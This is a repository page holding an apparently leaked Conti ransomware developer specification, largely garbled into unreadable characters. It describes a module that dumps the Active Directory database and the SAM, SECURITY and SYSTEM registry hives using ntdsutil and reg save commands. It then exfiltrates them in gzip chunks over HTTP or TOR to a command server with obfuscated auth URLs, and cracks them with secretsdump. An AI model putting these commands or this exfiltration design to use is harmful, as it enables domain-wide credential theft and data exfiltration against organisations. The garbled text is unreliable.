Conti Ransomware malware leak WITH LOCKER
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

321 lines
12 KiB

  1. ������ ����� �� ACTIVE DIRECTORY � ��������� ������� ������� WINDOWS
  2. ����������� �������
  3. ����
  4. �������� ������ �� �� Active Directory � ��������� ������� �������, ����������� � ���� ������.
  5. ������� ������
  6. ������ ���������� ������� ������� `ntdsutil' ��� �������� ��.
  7. ����� ������ ����������� �� ������, ��� ���������� �� ���������� � ������ ������� �� ������ impacket / secretsdump.py
  8. ������ ��������� ���� �� Active Directory ��� ������� � ���� ������:
  9. https://devteev.blogspot.com/2014/04/hacking-tricks-easy-way-to-get-ntdsdit.html
  10. ����� ������ ������ ���� ����� ������� HKLM/SAM, HKLM/Security � HKLM/System.
  11. ����������
  12. ��������� ������ ���� ��������� � ���� ������ � ������������ � ���������� modules_HOWTO.
  13. �������� ������/������� - ADll.
  14. �������� �� ����, ��� ������ �������� � ������� SYSTEM.
  15. * ����� ������� ������ ������� ���������, ������� �� �� ���������� ������ Active Directory.
  16. * ���� ���, ��������� ��������� "AD not found" � ��������� ������.
  17. * �����, ����� ���������, �������� �� ������ Volume Shadow Copy ����� WinAPI
  18. (�������� ������� sc query vss), � ���� ���, ��������� (�������������) ��� ������.
  19. * ����� ����������� ����� ������ �����.
  20. ����� ������ ����� 4:
  21. ntds.dit
  22. sam.dump
  23. security.dump
  24. system.dump
  25. ������ � �������� ������� ��� ����� ������ ����� ������ �����:
  26. <prefix>0.dat
  27. <prefix>1.dat
  28. <prefix>2.dat
  29. <prefix>3.dat
  30. ������� ������ ������������� ��� ��� ������ ParentInfo.ParentID (��. module_HOWTO) � ��� ���� ������������� ��������:
  31. - �������� �� ����� ������ ������������� ���� � �� �� �������� �� ������
  32. - �� ��������� �������� ������ ������������ �������
  33. - ����� ��������� ���� �� ������� �� ����� ������� ������
  34. - ���������� ��� �������� ������ ���������-�������� ������� (������ ��������� � ���������� � �������� �������)
  35. - �������� ��������.
  36. ����� ���������� ����� ��������:
  37. - �������������� 64-��������� ����������� ����� ���� ���� (���������� ��� unsigned) ���� ParentInfo.ParentID
  38. - 64-��������� ����� ���������� ��� ������ unsigned char filename[8]
  39. - ��� �����, ������� ������ 'a', ���������� 'a'
  40. - ��� �����, ������� ������ 'Z', ���������� 'Z'
  41. ����� �������, ��� ������� ������ �� ���� ����� � ��� �� ������, �� ������ ����� ������ ���������� ���� � �� �� ������, ������� �������� ��������.
  42. ������ ����� ��������� �� �������������.
  43. * ������ ��������� ������� ���� �� ������ �� ���� ������ � �������� %TEMP%
  44. ���� ����(�) ����, ���������� �� �������� �� ��������� �������� ������.
  45. ����������� � ��������� ���� ������� ���� �� ������������ - ������ ���, ��������, ������ �� �������� � ������� ���,
  46. � ������ �� ���������� ������.
  47. * ����� ����� ��������� �������
  48. ntdsutil "ac in ntds" "ifm" "cr fu %temp%\<prefix>0.dat" q q
  49. ���� ���� �����������, ������� ����������� ��� �������� ���� ������� ����� WinAPI
  50. (�� ������ ������; � ������ ������ ������ ����� �������).
  51. * ������ ���� ����� ������� HKLM/SAM, HKLM/Security � HKLM/System ���������
  52. reg save hklm\sam %temp%\somepath\<prefix>1.dat
  53. reg save hklm\security %temp%\somepath\<prefix>2.dat
  54. reg save hklm\system %temp%\somepath\<prefix>3.dat
  55. * ���������� ����� ����� ������ ���������� �� ��������� �������� ������ (��.�����.������).
  56. ��� ���� ������ � �������� ����� �������� � ������ � ���������� ����������� (���, ����� �� ������ ����� �������� �� �� � ����).
  57. ������� ������ ���������� ������ �� ���������(���������) chunksize. �� ��������� ������ ��������� - 10�.
  58. ������ �������� ������� �� ������� ��������� ������� (��.����).
  59. ����� ���������� ������� ����� ����� ������ ���� �����, ���������� ��������� ������� �� ��������� TIMEOUT_MIN...TIMEOUT_MAX
  60. (��������� ������� ����������). �������� ������������ � ���� �����.
  61. ���� �������� �������� (�� ������� �����������; ������� �����, �������� �� HTTP 200 OK; ������ �� ���� �����),
  62. �������� ����� �� ��������� ����� (������ ���������� ������� ����������), ������� ��������� ��������� ������,
  63. � ��� �� ������.
  64. ����� �������� ��������, ������ ���������� ������������� �������� ������� WantRelease � �������� � ������ �����
  65. while(1) Sleep(1000);
  66. � ��������, ��� ������������ ������� �������� ������ ������.
  67. �������
  68. � ������ ������������ ������ � ��������� srvad.
  69. ������ ������������ �� ���� ������� �����, � ������������ \r\n.
  70. ���� ������ - ��� ���� URL, �� ������� ������� ���������� ������.
  71. ���� �� ������ ������� ��������� http ��� https, ������� �������� �� URL ����.
  72. ���� ���� ������, ������ �� http, ���� �������� - �� https.
  73. ��� ������ ������ ������������� ������ ����� ������ TOR.
  74. ����������� ���������� ������ ����� TOR ����� �������������.
  75. �������� �������� ������
  76. �������� �������� ������ ������������� ��������� �����������:
  77. - ���������� ������� �������� �� ��������-�����
  78. - ����������� �������� ����� �� ������.
  79. 1) �� ������ ������������ �������� ���������� � ���������� ����� HTTP POST � ���������� multipart/form-data (���������� ������� �������� html-�����).
  80. POST �������� ��������� ����:
  81. timestamp - ��������� UNIX-�����
  82. ip - ���� ParentInfo.SelfIP (��. module_HOWTO)
  83. ip1 - ����� ������� �������� ����������
  84. ip2 - ����� ������� �������� ����������
  85. ...
  86. ipN - ����� N-�� �������� ����������
  87. cid - ���� ParentInfo.ParentID (��. module_HOWTO)
  88. group - ���� ParentInfo.ParentGroup (��. module_HOWTO)
  89. hostname - ��� �����, ���������� ����� GetComputerName()
  90. source - ������ `ntds'
  91. �������� ���������� �� url ����:
  92. http://foo.com/<junk>/<auth>/<junk>
  93. junk - ������������ �������, ���������� � URI, ����� ����� /
  94. auth - ������������ ������. ��������������, ��� ��� ��� ���������� ������,
  95. ������ ����� ������� ������������ ���� ������.
  96. ��� - ������ ����� �����.
  97. � ��� �����������:
  98. - ����� Z � ����� �������
  99. - ����� ���� (�� �����!) � 6 �� 15-� ������� ������ ���� 31.
  100. ������� ����� ���� - ������. � ��������� ��� ����� ���������� � Z.
  101. ������ ������ - abcde7ol7k9hi8mZ
  102. 2) ����� ������������ ������ ���� �� ������, �������� HTTP POST, � ���������� multipart/form-data.
  103. ���� ���������� � ���� file.
  104. ��� ����� ������� �� ���� Content-Disposition; ��� ���������� ����� �� URI ������������.
  105. ��� ����:
  106. - �������� ����� ���������� � �����. � �������, ���� ���� ������ 100�, �� ���������� ��������� 10� �����.
  107. - ����� �������� ����� ����� � ��������� �������������, ���� ��������� - �������� ������ �������������� �����, ������� � �����.
  108. ��� �������� ��� ����, ����� ������� ������� ��������� ��������� ��������, � �������������� ����� �������� ��������.
  109. ����� ���� ����� ������� SetEndOfFile().
  110. - ����� ���������, ������������ ����� ����� �������� � ������ � ��������� ���������� gzip.
  111. - �������� ������������ �� URL ����
  112. http://foo.com/<junk>/<auth>/<cid>/<filename>/<start>/<end>/<eof>
  113. ���
  114. junk - ������������ �������, ���������� � URI, ����� ����� /
  115. auth - ������������ ������. ��� - ������ ����� �����, � ������� �����������
  116. - ����� S � ����� �������
  117. - ����� ���� (�� �����!) � 8 �� 15-� ������� ������ ���� 25.
  118. filename - ��� ���������� �����;
  119. start - ��������� �������� ������������� ����� ������������ ������ �����; ����� ��������� � �����, � �����.
  120. �� ��������� �������� ������ �����, � ������� ��������� � ������.
  121. ��������, 0A -- ��� ����� 0 (����� 0 ��������, ����� A ������������).
  122. end - �������� �������� ������������� ����� ������������ ������ �����; ������� �� ��, ��� � ��� start.
  123. ��������, 3A5A2A3A9A5A9A - ��� 3523959.
  124. eof - ������� ����� �����. ���� ������� ����, ��� ��������� ����� �����; � �������� (������ ��������������)
  125. ��� ������ ����� �����, � ������� �����������:
  126. - ������ ����� ������ ��� 0
  127. - ��������� ����� A ��� F
  128. ��������� ������ ����� ����� (�� ����������) ����� ��������� ��������:
  129. 0 - ntds.dit
  130. 1 - sam.dump
  131. 2 - security.dump
  132. 3 - system.dump
  133. ��� ��������� ������, ��� HTTP-������ 200 �� ������� �� ������ ��������,
  134. �� ��� ��-200 ������� � �������� �������� (��������, 50* ��� 40* �� ������).
  135. ������ ��� �������� ���������� ������ XML � ���� HTTP-������, ������ ���� <response>.
  136. ��� ��������� ���� ������ ���� 4041, ���������� ������ 1 - ��� ���������� ��� ������ ������� (������� ������ �� ����� �������).
  137. ��������, ��������� ����� ��������������� �� ������ � ����� 9:
  138. HTTP/1.1 200 OK
  139. Server: nginx/1.10.3 (Ubuntu)
  140. Date: Mon, 07 Oct 2019 13:08:44 GMT
  141. Content-Type: application/xml; charset=UTF-8
  142. Transfer-Encoding: chunked
  143. Connection: keep-alive
  144. Vary: Accept
  145. <?xml version="1.0" encoding="UTF-8"?>
  146. <response>4049</response>
  147. ��������� ����� - ������ ����, ��� ��
  148. HTTP/1.1 200 OK
  149. Server: nginx/1.10.3 (Ubuntu)
  150. Date: Mon, 07 Oct 2019 13:08:44 GMT
  151. Content-Type: application/xml; charset=UTF-8
  152. Transfer-Encoding: chunked
  153. Connection: keep-alive
  154. Vary: Accept
  155. <?xml version="1.0" encoding="UTF-8"?>
  156. <response>200</response>
  157. �������
  158. ������������� ���������� ������ ����� ������������� ����� �������.
  159. ���������� � ���������� ����������� - �������� ��������.
  160. ������� ����� ���������� ������ ��������� ���������� ������ � ������� �������:
  161. ��������� | ClientID| Group | IP | Hostname | Total Size
  162. � ����������.
  163. ��������� - ��� ���������� ������ �� ���������� ClientID (��.���� � ����������� �������).
  164. ������������� ���������� �� �����:
  165. - ��������� (�������� �� � ��)
  166. - ClientID
  167. - Group
  168. - IP
  169. - Hostname
  170. - Total Size (�������� �� � ��)
  171. ���� ���������� - ����������.
  172. ��� ������� �� ������ ��������� ������� ����� � ���������� ��-������ (var $issledovanie - �����; var $research - ������).
  173. � ������ ������ ���� ���������� �� ����� ���������.
  174. ������ ����� ������� �� ��������; ������ ����� ������� (����� ���� �������������� "�� �������?" �� ���� ������� ������� � ��� ����� ������� ������).
  175. ������ �������� ������ �������� ������ � �������� �� �������� ������.
  176. ���������� � �������������� ������� �� �������������.
  177. � �������� ������ ������ ���� ����������� �����, ������������ � ������; ������ ���� ����� �������.
  178. � �������� ������ ������ ���� ������ "������ ������".
  179. ���� �������� ������, ������ "���������" ��������� ������� (�������� ����� ��� ����� ����).
  180. ������ ������ Active Directory ���������� ����� ������� ���� ��������:
  181. sudo ./secretsdump.py -ntds ntds.dit -system SYSTEM -outputfile result local
  182. ��� ntds.dit � SYSTEM - ��� �������������� ����� �� ����������� �� ������� ������
  183. result - ��� ��������������� �����
  184. ������ ��������� ������� �������:
  185. secretsdump.py -sam sam.dump -security security.dump -system system.dump LOCAL
  186. ��� ����, ������� ������:
  187. - ��������� ����-������ �� ��������� ����� ������ ������� ����� ntds.dit, sam.dump, security.dump, system.dump
  188. (��� ����� � ���������� � ������)
  189. - ��������� �������, �������� �� ���� � ���� ������
  190. - ��������� stdout, stderr �������� � ������ �� �� ������ �� ��������
  191. - �������� ������ "������� ��������� �������", ����� ������� ��������� �������, � ���� .txt ��� .zip.
  192. ��� ����� �������� �������� ���������� ��������� �������, ���� ��������� ��� � ������.
  193. ***
  194. ��������� ������� �� ������ �������� ���������:
  195. pip
  196. pip install impacket
  197. pip install impacket --upgrade (if needed)
  198. pip install pycrypto (--upgrade if needed)
  199. pip install pyasn1 (if needed)
  200. apt-get install python-dev (if needed)
  201. API �������
  202. ������� ������ ��������� API ��� ��������� ������ �� �������:
  203. POST /api/v1/hello HTTP/1.1
  204. ���� ������ ������� ���� ��������� ������ � ����������� �� ����������� �������. ������ ����� � ��� ���� ���
  205. (��. �������� �������� ������).
  206. POST /api/v1/savef/<cid>/<filename>/<start>/<end>/e
  207. ���� ������ ��������� ��������� ����� ����� (��. �������� �������� ������).
  208. ��� ������ 200 - ��.
  209. ��� ������ �� 200 - ������. ���������� ����� ������ �� ���������� ������������ API.
  210. ��� �������� ��������� ������ �������� �� ����, ��� ������ ������ ����� ���� ���������� (��������� � ����� �������).
  211. ����� � ������� ������ �������� ���������� ����� ������. ����� ������ ����� ����������, �� � ������ ����������� ���:
  212. ntds.dit
  213. sam.dump
  214. security.dump
  215. system.dump
  216. ��� ���������� ������ � ��/�� ���� ����� ��������� ����-����� �� �������.
  217. �����!
  218. ���� �������� ������ � �� ��������� 4 (������!) �����.
  219. �� ���� ������� ����� �������� ������ ���� ���� (� ������ ������).
  220. �������, ��� ���������� � ��, ����� ������������ ����� � �������� ������ �� ����� cid.
  221. ���������, ��� �������� ����������� ������� ����� �������� ��������� �����.
  222. ����������� "������" �������
  223. ����� ��� �������������� "������" �������, ����� ����� ���� ������ ��������� ������.
  224. �� ������ � �������� ���� (/log/1234) ����� �������� ������ ������ � ������� ����� ������������ �������, ��������
  225. injectDll
  226. pwgrab
  227. importDll
  228. ���
  229. ��� ����� ����� ����� ��� �� ����������� ��������� �������, ��� � ������ ����� � ��� (������ ���������������).
  230. ��� ��� ����������� � ���������� �� ���� ������� ������ � ��� ������ ������ �������� �� ���������� (�.�. ������� �� ������ ��������� ������).
  231. ��� �� ���������� ������� ������ ��������� ������.
  232. �.�. ������� �� �������� ������ ���������� � ������� ���������� �����, ����� ����������� ������ �� �������, �� ��������� ������� �� ����.